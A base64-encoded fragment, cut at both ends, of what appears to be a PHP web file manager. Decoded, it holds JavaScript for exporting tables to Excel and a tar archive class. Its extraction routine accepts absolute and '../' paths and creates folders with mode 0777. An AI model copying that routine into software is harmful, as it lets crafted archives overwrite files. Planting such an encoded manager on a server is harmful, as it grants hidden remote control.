29udGVudD0idGV4dC9wbGFpbjsgY2hhcnNldD1VVEYtOCIvPjwvaGVhZD48Ym9keT48dGFibGU+e3RhYmxlfTwvdGFibGU+PC9ib2R5PjwvaHRtbD4nLAogICAgZm9ybWF0ID0gZnVuY3Rpb24ocywgYykgewogICAgICAgICAgICByZXR1cm4gcy5yZXBsYWNlKC97KFx3Kyl9L2csIGZ1bmN0aW9uKG0sIHApIHsKICAgICAgICAgICAgICAgIHJldHVybiBjW3BdOwogICAgICAgICAgICB9KQogICAgICAgIH0KICAgIHJldHVybiBmdW5jdGlvbih0YWJsZSwgbmFtZSkgewogICAgICAgIGlmICghdGFibGUubm9kZVR5cGUpIHRhYmxlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQodGFibGUpCiAgICAgICAgdmFyIGN0eCA9IHsKICAgICAgICAgICAgd29ya3NoZWV0OiBuYW1lIHx8ICdXb3Jrc2hlZXQnLAogICAgICAgICAgICB0YWJsZTogdGFibGUuaW5uZXJIVE1MLnJlcGxhY2UoLzxzcGFuKC4qPylcL3NwYW4+IC9nLCIiKS5yZXBsYWNlKC88YVxiW14+XSo+KC4qPyk8XC9hPi9nLCIkMSIpCiAgICAgICAgfQoJCXQgPSBuZXcgRGF0ZSgpOwoJCWZpbGVuYW1lID0gJ2ZtXycgKyB0LnRvSVNPU3RyaW5nKCkgKyAnLnhscycKCQlkb3dubG9hZF94bHMoZmlsZW5hbWUsIGJhc2U2NF9lbmNvZGUoZm9ybWF0KHRlbXBsYXRlLCBjdHgpKSkKICAgIH0KfSkoKTsKCnZhciB0YWJsZTJFeGNlbCA9IGZ1bmN0aW9uICgpIHsKCiAgICB2YXIgdWEgPSB3aW5kb3cubmF2aWdhdG9yLnVzZXJBZ2VudDsKICAgIHZhciBtc2llID0gdWEuaW5kZXhPZigiTVNJRSAiKTsKCgl0aGlzLkNyZWF0ZUV4Y2VsU2hlZXQgPSAKCQlmdW5jdGlvbihlbCwgbmFtZSl7CgkJCWlmIChtc2llID4gMCB8fCAhIW5hdmlnYXRvci51c2VyQWdlbnQubWF0Y2goL1RyaWRlbnQuKnJ2XDoxMVwuLykpIHsvLyBJZiBJbnRlcm5ldCBFeHBsb3JlcgoKCQkJCXZhciB4ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZWwpLnJvd3M7CgoJCQkJdmFyIHhscyA9IG5ldyBBY3RpdmVYT2JqZWN0KCJFeGNlbC5BcHBsaWNhdGlvbiIpOwoKCQkJCXhscy52aXNpYmxlID0gdHJ1ZTsKCQkJCXhscy5Xb3JrYm9va3MuQWRkCgkJCQlmb3IgKGkgPSAwOyBpIDwgeC5sZW5ndGg7IGkrKykgewoJCQkJCXZhciB5ID0geFtpXS5jZWxsczsKCgkJCQkJZm9yIChqID0gMDsgaiA8IHkubGVuZ3RoOyBqKyspIHsKCQkJCQkJeGxzLkNlbGxzKGkgKyAxLCBqICsgMSkuVmFsdWUgPSB5W2pdLmlubmVyVGV4dDsKCQkJCQl9CgkJCQl9CgkJCQl4bHMuVmlzaWJsZSA9IHRydWU7CgkJCQl4bHMuVXNlckNvbnRyb2wgPSB0cnVlOwoJCQkJcmV0dXJuIHhsczsKCQkJfSBlbHNlIHsKCQkJCXRhYmxlVG9FeGNlbERhdGEoZWwsIG5hbWUpOwoJCQl9CgkJfQp9Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCi8vUG9ydGVkIGZyb20gUmVsb2FkQ01TIHByb2plY3QgaHR0cDovL3JlbG9hZGNtcy5jb20KY2xhc3MgYXJjaGl2ZVRhciB7Cgl2YXIgJGFyY2hpdmVfbmFtZSA9ICcnOwoJdmFyICR0bXBfZmlsZSA9IDA7Cgl2YXIgJGZpbGVfcG9zID0gMDsKCXZhciAkaXNHemlwcGVkID0gdHJ1ZTsKCXZhciAkZXJyb3JzID0gYXJyYXkoKTsKCXZhciAkZmlsZXMgPSBhcnJheSgpOwoJCglmdW5jdGlvbiBfX2NvbnN0cnVjdCgpewoJCWlmICghaXNzZXQoJHRoaXMtPmVycm9ycykpICR0aGlzLT5lcnJvcnMgPSBhcnJheSgpOwoJfQoJCglmdW5jdGlvbiBjcmVhdGVBcmNoaXZlKCRmaWxlX2xpc3QpewoJCSRyZXN1bHQgPSBmYWxzZTsKCQlpZiAoZmlsZV9leGlzdHMoJHRoaXMtPmFyY2hpdmVfbmFtZSkgJiYgaXNfZmlsZSgkdGhpcy0+YXJjaGl2ZV9uYW1lKSkgCSRuZXdBcmNoaXZlID0gZmFsc2U7CgkJZWxzZSAkbmV3QXJjaGl2ZSA9IHRydWU7CgkJaWYgKCRuZXdBcmNoaXZlKXsKCQkJaWYgKCEkdGhpcy0+b3BlbldyaXRlKCkpIHJldHVybiBmYWxzZTsKCQl9IGVsc2UgewoJCQlpZiAoZmlsZXNpemUoJHRoaXMtPmFyY2hpdmVfbmFtZSkgPT0gMCkJcmV0dXJuICR0aGlzLT5vcGVuV3JpdGUoKTsKCQkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpIHsKCQkJCSR0aGlzLT5jbG9zZVRtcEZpbGUoKTsKCQkJCWlmICghcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUsICR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnKSl7CgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCByZW5hbWUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZS5fXygnIHRvICcpLiR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJCSR0bXBBcmNoaXZlID0gZ3pvcGVuKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAncmInKTsKCQkJCWlmICghJHRtcEFyY2hpdmUpewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9ICR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAgJy5fXygnaXMgbm90IHJlYWRhYmxlJyk7CgkJCQkJcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCQlpZiAoISR0aGlzLT5vcGVuV3JpdGUoKSl7CgkJCQkJcmVuYW1lKCR0aGlzLT5hcmNoaXZlX25hbWUuJy50bXAnLCAkdGhpcy0+YXJjaGl2ZV9uYW1lKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCQkkYnVmZmVyID0gZ3pyZWFkKCR0bXBBcmNoaXZlLCA1MTIpOwoJCQkJaWYgKCFnemVvZigkdG1wQXJjaGl2ZSkpewoJCQkJCWRvIHsKCQkJCQkJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7CgkJCQkJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTsKCQkJCQkJJGJ1ZmZlciA9IGd6cmVhZCgkdG1wQXJjaGl2ZSwgNTEyKTsKCQkJCQl9CgkJCQkJd2hpbGUgKCFnemVvZigkdG1wQXJjaGl2ZSkpOwoJCQkJfQoJCQkJZ3pjbG9zZSgkdG1wQXJjaGl2ZSk7CgkJCQl1bmxpbmsoJHRoaXMtPmFyY2hpdmVfbmFtZS4nLnRtcCcpOwoJCQl9IGVsc2UgewoJCQkJJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3IrYicpOwoJCQkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQlpZiAoaXNzZXQoJGZpbGVfbGlzdCkgJiYgaXNfYXJyYXkoJGZpbGVfbGlzdCkpIHsKCQlpZiAoY291bnQoJGZpbGVfbGlzdCk+MCkKCQkJJHJlc3VsdCA9ICR0aGlzLT5wYWNrRmlsZUFycmF5KCRmaWxlX2xpc3QpOwoJCX0gZWxzZSAkdGhpcy0+ZXJyb3JzW10gPSBfXygnTm8gZmlsZScpLl9fKCcgdG8gJykuX18oJ0FyY2hpdmUnKTsKCQlpZiAoKCRyZXN1bHQpJiYoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSkpewoJCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAnJyk7CgkJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTsKCQl9CgkJJHRoaXMtPmNsb3NlVG1wRmlsZSgpOwoJCWlmICgkbmV3QXJjaGl2ZSAmJiAhJHJlc3VsdCl7CgkJJHRoaXMtPmNsb3NlVG1wRmlsZSgpOwoJCXVubGluaygkdGhpcy0+YXJjaGl2ZV9uYW1lKTsKCQl9CgkJcmV0dXJuICRyZXN1bHQ7Cgl9CgoJZnVuY3Rpb24gcmVzdG9yZUFyY2hpdmUoJHBhdGgpewoJCSRmaWxlTmFtZSA9ICR0aGlzLT5hcmNoaXZlX25hbWU7CgkJaWYgKCEkdGhpcy0+aXNHemlwcGVkKXsKCQkJaWYgKGZpbGVfZXhpc3RzKCRmaWxlTmFtZSkpewoJCQkJaWYgKCRmcCA9IGZvcGVuKCRmaWxlTmFtZSwgJ3JiJykpewoJCQkJCSRkYXRhID0gZnJlYWQoJGZwLCAyKTsKCQkJCQlmY2xvc2UoJGZwKTsKCQkJCQlpZiAoJGRhdGEgPT0gJ1wzN1wyMTMnKXsKCQkJCQkJJHRoaXMtPmlzR3ppcHBlZCA9IHRydWU7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWVsc2VpZiAoKHN1YnN0cigkZmlsZU5hbWUsIC0yKSA9PSAnZ3onKSBPUiAoc3Vic3RyKCRmaWxlTmFtZSwgLTMpID09ICd0Z3onKSkgJHRoaXMtPmlzR3ppcHBlZCA9IHRydWU7CgkJfSAKCQkkcmVzdWx0ID0gdHJ1ZTsKCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkgJHRoaXMtPnRtcF9maWxlID0gZ3pvcGVuKCRmaWxlTmFtZSwgJ3JiJyk7CgkJZWxzZSAkdGhpcy0+dG1wX2ZpbGUgPSBmb3BlbigkZmlsZU5hbWUsICdyYicpOwoJCWlmICghJHRoaXMtPnRtcF9maWxlKXsKCQkJJHRoaXMtPmVycm9yc1tdID0gJGZpbGVOYW1lLicgJy5fXygnaXMgbm90IHJlYWRhYmxlJyk7CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJJHJlc3VsdCA9ICR0aGlzLT51bnBhY2tGaWxlQXJyYXkoJHBhdGgpOwoJCQkkdGhpcy0+Y2xvc2VUbXBGaWxlKCk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9CgoJZnVuY3Rpb24gc2hvd0Vycm9ycwkoJG1lc3NhZ2UgPSAnJykgewoJCSRFcnJvcnMgPSAkdGhpcy0+ZXJyb3JzOwoJCWlmKGNvdW50KCRFcnJvcnMpPjApIHsKCQlpZiAoIWVtcHR5KCRtZXNzYWdlKSkgJG1lc3NhZ2UgPSAnICgnLiRtZXNzYWdlLicpJzsKCQkJJG1lc3NhZ2UgPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4kbWVzc2FnZS4nOiA8YnIvPic7CgkJCWZvcmVhY2ggKCRFcnJvcnMgYXMgJHZhbHVlKQoJCQkJJG1lc3NhZ2UgLj0gJHZhbHVlLic8YnIvPic7CgkJCXJldHVybiAkbWVzc2FnZTsJCgkJfSBlbHNlIHJldHVybiAnJzsKCQkKCX0KCQoJZnVuY3Rpb24gcGFja0ZpbGVBcnJheSgkZmlsZV9hcnJheSl7CgkJJHJlc3VsdCA9IHRydWU7CgkJaWYgKCEkdGhpcy0+dG1wX2ZpbGUpewoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnSW52YWxpZCBmaWxlIGRlc2NyaXB0b3InKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlpZiAoIWlzX2FycmF5KCRmaWxlX2FycmF5KSB8fCBjb3VudCgkZmlsZV9hcnJheSk8PTApCiAgICAgICAgICByZXR1cm4gdHJ1ZTsKCQlmb3IgKCRpID0gMDsgJGk8Y291bnQoJGZpbGVfYXJyYXkpOyAkaSsrKXsKCQkJJGZpbGVuYW1lID0gJGZpbGVfYXJyYXlbJGldOwoJCQlpZiAoJGZpbGVuYW1lID09ICR0aGlzLT5hcmNoaXZlX25hbWUpCgkJCQljb250aW51ZTsKCQkJaWYgKHN0cmxlbigkZmlsZW5hbWUpPD0wKQoJCQkJY29udGludWU7CgkJCWlmICghZmlsZV9leGlzdHMoJGZpbGVuYW1lKSl7CgkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnTm8gZmlsZScpLicgJy4kZmlsZW5hbWU7CgkJCQljb250aW51ZTsKCQkJfQoJCQlpZiAoISR0aGlzLT50bXBfZmlsZSl7CgkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdJbnZhbGlkIGZpbGUgZGVzY3JpcHRvcicpOwoJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQlpZiAoc3RybGVuKCRmaWxlbmFtZSk8PTApewoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnRmlsZW5hbWUnKS4nICcuX18oJ2lzIGluY29ycmVjdCcpOzsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkkZmlsZW5hbWUgPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsICRmaWxlbmFtZSk7CgkJJGtlZXBfZmlsZW5hbWUgPSAkdGhpcy0+bWFrZUdvb2RQYXRoKCRmaWxlbmFtZSk7CgkJaWYgKGlzX2ZpbGUoJGZpbGVuYW1lKSl7CgkJCWlmICgoJGZpbGUgPSBmb3BlbigkZmlsZW5hbWUsICdyYicpKSA9PSAwKXsKCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdNb2RlICcpLl9fKCdpcyBpbmNvcnJlY3QnKTsKCQkJfQoJCQkJaWYoKCR0aGlzLT5maWxlX3BvcyA9PSAwKSl7CgkJCQkJaWYoISR0aGlzLT53cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKSkKCQkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQkJd2hpbGUgKCgkYnVmZmVyID0gZnJlYWQoJGZpbGUsIDUxMikpICE9ICcnKXsKCQkJCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E1MTInLCAkYnVmZmVyKTsKCQkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7CgkJCQl9CgkJCWZjbG9zZSgkZmlsZSk7CgkJfQllbHNlICR0aGlzLT53cml0ZUhlYWRlcigkZmlsZW5hbWUsICRrZWVwX2ZpbGVuYW1lKTsKCQkJaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7CgkJCQlpZiAoISgkaGFuZGxlID0gb3BlbmRpcigkZmlsZW5hbWUpKSl7CgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yJykuJzogJy5fXygnRGlyZWN0b3J5ICcpLiRmaWxlbmFtZS5fXygnaXMgbm90IHJlYWRhYmxlJyk7CgkJCQkJY29udGludWU7CgkJCQl9CgkJCQl3aGlsZSAoZmFsc2UgIT09ICgkZGlyID0gcmVhZGRpcigkaGFuZGxlKSkpewoJCQkJCWlmICgkZGlyIT0nLicgJiYgJGRpciE9Jy4uJyl7CgkJCQkJCSRmaWxlX2FycmF5X3RtcCA9IGFycmF5KCk7CgkJCQkJCWlmICgkZmlsZW5hbWUgIT0gJy4nKQoJCQkJCQkJJGZpbGVfYXJyYXlfdG1wW10gPSAkZmlsZW5hbWUuJy8nLiRkaXI7CgkJCQkJCWVsc2UKCQkJCQkJCSRmaWxlX2FycmF5X3RtcFtdID0gJGRpcjsKCgkJCQkJCSRyZXN1bHQgPSAkdGhpcy0+cGFja0ZpbGVBcnJheSgkZmlsZV9hcnJheV90bXApOwoJCQkJCX0KCQkJCX0KCQkJCXVuc2V0KCRmaWxlX2FycmF5X3RtcCk7CgkJCQl1bnNldCgkZGlyKTsKCQkJCXVuc2V0KCRoYW5kbGUpOwoJCQl9CgkJfQoJCXJldHVybiAkcmVzdWx0OwoJfQoKCWZ1bmN0aW9uIHVucGFja0ZpbGVBcnJheSgkcGF0aCl7IAoJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7CgkJaWYgKCRwYXRoID09ICcnCXx8IChzdWJzdHIoJHBhdGgsIDAsIDEpICE9ICcvJyAmJiBzdWJzdHIoJHBhdGgsIDAsIDMpICE9ICcuLi8nICYmICFzdHJwb3MoJHBhdGgsICc6JykpKQkkcGF0aCA9ICcuLycuJHBhdGg7CgkJY2xlYXJzdGF0Y2FjaGUoKTsKCQl3aGlsZSAoc3RybGVuKCRiaW5hcnlEYXRhID0gJHRoaXMtPnJlYWRCbG9jaygpKSAhPSAwKXsKCQkJaWYgKCEkdGhpcy0+cmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsKCQkJaWYgKCRoZWFkZXJbJ2ZpbGVuYW1lJ10gPT0gJycpIGNvbnRpbnVlOwoJCQlpZiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnTCcpewkJCS8vcmVhZGluZyBsb25nIGhlYWRlcgoJCQkJJGZpbGVuYW1lID0gJyc7CgkJCQkkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOwoJCQkJZm9yICgkaSA9IDA7ICRpIDwgJGRlY3I7ICRpKyspewoJCQkJCSRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpOwoJCQkJCSRmaWxlbmFtZSAuPSAkY29udGVudDsKCQkJCX0KCQkJCWlmICgoJGxhc3BpZWNlID0gJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKXsKCQkJCQkkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTsKCQkJCQkkZmlsZW5hbWUgLj0gc3Vic3RyKCRjb250ZW50LCAwLCAkbGFzcGllY2UpOwoJCQkJfQoJCQkJJGJpbmFyeURhdGEgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgkJCQlpZiAoISR0aGlzLT5yZWFkSGVhZGVyKCRiaW5hcnlEYXRhLCAkaGVhZGVyKSkgcmV0dXJuIGZhbHNlOwoJCQkJZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJGZpbGVuYW1lOwoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQkJaWYgKCgkcGF0aCAhPSAnLi8nKSAmJiAoJHBhdGggIT0gJy8nKSl7CgkJCQl3aGlsZSAoc3Vic3RyKCRwYXRoLCAtMSkgPT0gJy8nKSAkcGF0aCA9IHN1YnN0cigkcGF0aCwgMCwgc3RybGVuKCRwYXRoKS0xKTsKCQkJCWlmIChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy8nKSAkaGVhZGVyWydmaWxlbmFtZSddID0gJHBhdGguJGhlYWRlclsnZmlsZW5hbWUnXTsKCQkJCWVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLicvJy4kaGVhZGVyWydmaWxlbmFtZSddOwoJCQl9CgkJCQoJCQlpZiAoZmlsZV9leGlzdHMoJGhlYWRlclsnZmlsZW5hbWUnXSkpewoJCQkJaWYgKChAaXNfZGlyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSAmJiAoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnJykpewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9X18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJykuX18oJyBhcyBmb2xkZXInKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCQlpZiAoKGlzX2ZpbGUoJGhlYWRlclsnZmlsZW5hbWUnXSkpICYmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JykpewoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9X18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCQlpZiAoIWlzX3dyaXRlYWJsZSgkaGVhZGVyWydmaWxlbmFtZSddKSl7CgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0gZWxzZWlmICgoJHRoaXMtPmRpckNoZWNrKCgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1JyA/ICRoZWFkZXJbJ2ZpbGVuYW1lJ10gOiBkaXJuYW1lKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKSkpICE9IDEpewoJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJyAnLl9fKCcgZm9yICcpLiRoZWFkZXJbJ2ZpbGVuYW1lJ107CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCgkJCWlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1Jyl7CgkJCQlpZiAoIWZpbGVfZXhpc3RzKCRoZWFkZXJbJ2ZpbGVuYW1lJ10pKQkJewoJCQkJCWlmICghbWtkaXIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMDc3NykpCXsKCQkJCQkJCgkJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddOwoJCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQkJfSAKCQkJCX0KCQkJfSBlbHNlIHsKCQkJCWlmICgoJGRlc3RpbmF0aW9uID0gZm9wZW4oJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJykpID09IDApIHsKCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9IGVsc2UgewoJCQkJCSRkZWNyID0gZmxvb3IoJGhlYWRlclsnc2l6ZSddLzUxMik7CgkJCQkJZm9yICgkaSA9IDA7ICRpIDwgJGRlY3I7ICRpKyspIHsKCQkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7CgkJCQkJCWZ3cml0ZSgkZGVzdGluYXRpb24sICRjb250ZW50LCA1MTIpOwoJCQkJCX0KCQkJCQlpZiAoKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCkgewoJCQkJCQkkY29udGVudCA9ICR0aGlzLT5yZWFkQmxvY2soKTsKCQkJCQkJZndyaXRlKCRkZXN0aW5hdGlvbiwgJGNvbnRlbnQsICgkaGVhZGVyWydzaXplJ10gJSA1MTIpKTsKCQkJCQl9CgkJCQkJZmNsb3NlKCRkZXN0aW5hdGlvbik7CgkJCQkJdG91Y2goJGhlYWRlclsnZmlsZW5hbWUnXSwgJGhlYWRlclsndGltZSddKTsKCQkJCX0KCQkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCQlpZiAoZmlsZXNpemUoJGhlYWRlclsnZmlsZW5hbWUnXSkgIT0gJGhlYWRlclsnc2l6ZSddKSB7CgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ1NpemUgb2YgZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgkJCWlmICgoJGZpbGVfZGlyID0gZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgPT0gJGhlYWRlclsnZmlsZW5hbWUnXSkgJGZpbGVfZGlyID0gJyc7CgkJCWlmICgoc3Vic3RyKCRoZWFkZXJbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcvJykgJiYgKCRmaWxlX2RpciA9PSAnJykpICRmaWxlX2RpciA9ICcvJzsKCQkJJHRoaXMtPmRpcnNbXSA9ICRmaWxlX2RpcjsKCQkJJHRoaXMtPmZpbGVzW10gPSAkaGVhZGVyWydmaWxlbmFtZSddOwoJCgkJfQoJCXJldHVybiB0cnVlOwoJfQoKCWZ1bmN0aW9uIGRpckNoZWNrKCRkaXIpewoJCSRwYXJlbnRfZGlyID0gZGlybmFtZSgkZGlyKTsKCgkJaWYgKChAaXNfZGlyKCRkaXIpKSBvciAoJGRpciA9PSAnJykpCgkJCXJldHVybiB0cnVlOwoKCQlpZiAoKCRwYXJlbnRfZGlyICE9ICRkaXIpIGFuZCAoJHBhcmVudF9kaXIgIT0gJycpIGFuZCAoISR0aGlzLT5kaXJDaGVjaygkcGFyZW50X2RpcikpKQoJCQlyZXR1cm4gZmFsc2U7CgoJCWlmICghbWtkaXIoJGRpciwgMDc3NykpewoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGRpcjsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlyZXR1cm4gdHJ1ZTsKCX0KCglmdW5jdGlvbiByZWFkSGVhZGVyKCRiaW5hcnlEYXRhLCAmJGhlYWRlcil7CgkJaWYgKHN0cmxlbigkYmluYXJ5RGF0YSk9PTApewoJCQkkaGVhZGVyWydmaWxlbmFtZSddID0gJyc7CgkJCXJldHVybiB0cnVlOwoJCX0KCgkJaWYgKHN0cmxlbigkYmluYXJ5RGF0YSkgIT0gNTEyKXsKCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOwoJCQkkdGhpcy0+X18oJ0ludmFsaWQgYmxvY2sgc2l6ZScpLic6ICcuc3RybGVuKCRiaW5hcnlEYXRhKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJJGNoZWNrc3VtID0gMDsKCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsKCQlmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykgJGNoZWNrc3VtICs9IG9yZCgnICcpOwoJCWZvciAoJGkgPSAxNTY7ICRpIDwgNTEyOyAkaSsrKSAkY2hlY2tzdW0rPW9yZChzdWJzdHIoJGJpbmFyeURhdGEsICRpLCAxKSk7CgoJCSR1bnBhY2tfZGF0YSA9IHVucGFjaygnYTEwMGZpbGVuYW1lL2E4bW9kZS9hOHVzZXJfaWQvYThncm91cF9pZC9hMTJzaXplL2ExMnRpbWUvYThjaGVja3N1bS9hMXR5cGVmbGFnL2ExMDBsaW5rL2E2bWFnaWMvYTJ2ZXJzaW9uL2EzMnVuYW1lL2EzMmduYW1lL2E4ZGV2bWFqb3IvYThkZXZtaW5vcicsICRiaW5hcnlEYXRhKTsKCgkJJGhlYWRlclsnY2hlY2tzdW0nXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnY2hlY2tzdW0nXSkpOwoJCWlmICgkaGVhZGVyWydjaGVja3N1bSddICE9ICRjaGVja3N1bSl7CgkJCSRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAnJzsKCQkJaWYgKCgkY2hlY2tzdW0gPT0gMjU2KSAmJiAoJGhlYWRlclsnY2hlY2tzdW0nXSA9PSAwKSkgCXJldHVybiB0cnVlOwoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnRXJyb3IgY2hlY2tzdW0gZm9yIGZpbGUgJykuJHVucGFja19kYXRhWydmaWxlbmFtZSddOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlpZiAoKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPSAkdW5wYWNrX2RhdGFbJ3R5cGVmbGFnJ10pID09ICc1JykJJGhlYWRlclsnc2l6ZSddID0gMDsKCQkkaGVhZGVyWydmaWxlbmFtZSddID0gdHJpbSgkdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ10pOwoJCSRoZWFkZXJbJ21vZGUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnbW9kZSddKSk7CgkJJGhlYWRlclsndXNlcl9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWyd1c2VyX2lkJ10pKTsKCQkkaGVhZGVyWydncm91cF9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydncm91cF9pZCddKSk7CgkJJGhlYWRlclsnc2l6ZSddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydzaXplJ10pKTsKCQkkaGVhZGVyWyd0aW1lJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ3RpbWUnXSkpOwoJCXJldHVybiB0cnVlOwoJfQoKCWZ1bmN0aW9uIHdyaXRlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpewoJCSRwYWNrRiA9ICdhMTAwYThhOGE4YTEyQTEyJzsKCQkkcGFja0wgPSAnYTFhMTAwYTZhMmEzMmEzMmE4YThhMTU1YTEyJzsKCQlpZiAoc3